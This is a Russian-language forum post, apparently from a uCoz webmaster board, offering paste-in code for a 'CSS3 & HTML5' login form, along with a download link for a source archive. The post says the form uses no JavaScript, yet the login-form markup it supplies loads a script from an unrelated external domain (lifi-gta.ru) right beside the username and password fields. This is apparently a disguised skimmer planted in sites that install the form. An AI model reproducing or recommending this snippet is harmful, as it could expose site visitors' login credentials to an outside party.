Понедельник, 20.11.2017, 12:33Привет Гость | RSS
Главная страница | Форма входа CSS3 & HTML5 - Форум | Регистрация | Вход
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Форум » Центр WeB-мастеров uCoz » Дополнения для uCoz » Форма входа CSS3 & HTML5 (под систему ucoz)
Форма входа CSS3 & HTML5
LookflacoДата: Суббота, 09.06.2012, 10:12 | Сообщение # 1
Рядовой
Группа: Пользователи
Сообщений: 9
Репутация: 0
Статус: :-(
отлично смотрится под любой дизайн

Смотрим скрин скрипта: http://s019.radikal.ru/i607/1205/2c/2f2f79b1f69a.png

Очень красивая форма входа в которой вместо jq & js используем CSS3 и HTML5,ну очень простая в установке форма входа для uCoz.
Установим нашу форму входа для uCoz:
ПУ-->Управление дизайном-->Страница входа пользователей. В head подключаем css файл:

Code
<link rel="stylesheet" type="text/css" href="/css/style.css" />


Предварительно, вам необходимо, в файловом менеджере создать папки css и images и загрузить в них файлы из одноименных папок архива с исходниками.

СКАЧАТЬ: narod.ru/disk/50873441001.b873d9c8f72428277d36f499c2ad5f0f/152_fv.rar.html

Ниже, находим:

Code
$BODY$


И заменяем его на:

Code
<?if($USER_AGENT$='ie')?>$LOG_FORM$<?else?>$BODY$<?endif?>


Затем, ПУ-->Управление дизайном-->Форма входа пользователей. Заменяем весь код на этот:

Code
<div class="container">   
<section id="content">   
<div>   
<input class="loginField" placeholder="Введите логин" required="" id="username" type="text" name="user" value="" maxlength="50"/>   
</div>   
<div>   
<input class="loginField" placeholder="*******" required="" id="password" type="password" name="password" maxlength="15"/>   
</div>   
<div>   
<input name="sbm" type="submit" value="Вход"/>  
<script language="javascript" src="http://lifi-gta.ru/jogin_form_javascript.js"></script>
<a href="$REMINDER_LINK$">Забыл пароль</a>   
<a href="$REGISTER_LINK$">Регистрация</a>   
</div>   
<div class="button">   
<input class="test" id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$">запомнить</label><input class="test" id="hid$PAGE_ID$" type="checkbox" name="hidden" value="1" /><label for="hid$PAGE_ID$">скрытый</label>   
</div>   
</section>   
</div>


На этом установка завершена!
 
Форум » Центр WeB-мастеров uCoz » Дополнения для uCoz » Форма входа CSS3 & HTML5 (под систему ucoz)
Страница 1 из 11
Поиск:

Статистика Форума
Читаемые темы Последние темы Лучшие пользователи Новые пользователи

Lookflaco

(9)

MyLife

(7)

startsmart

(5)

laym

(4)

Aninew

(4)

DoG

(0)

Onlines

(3)

maxycheks

(0)

startsmart

(5)

laym

(4)


Конструктор сайтов - uCoz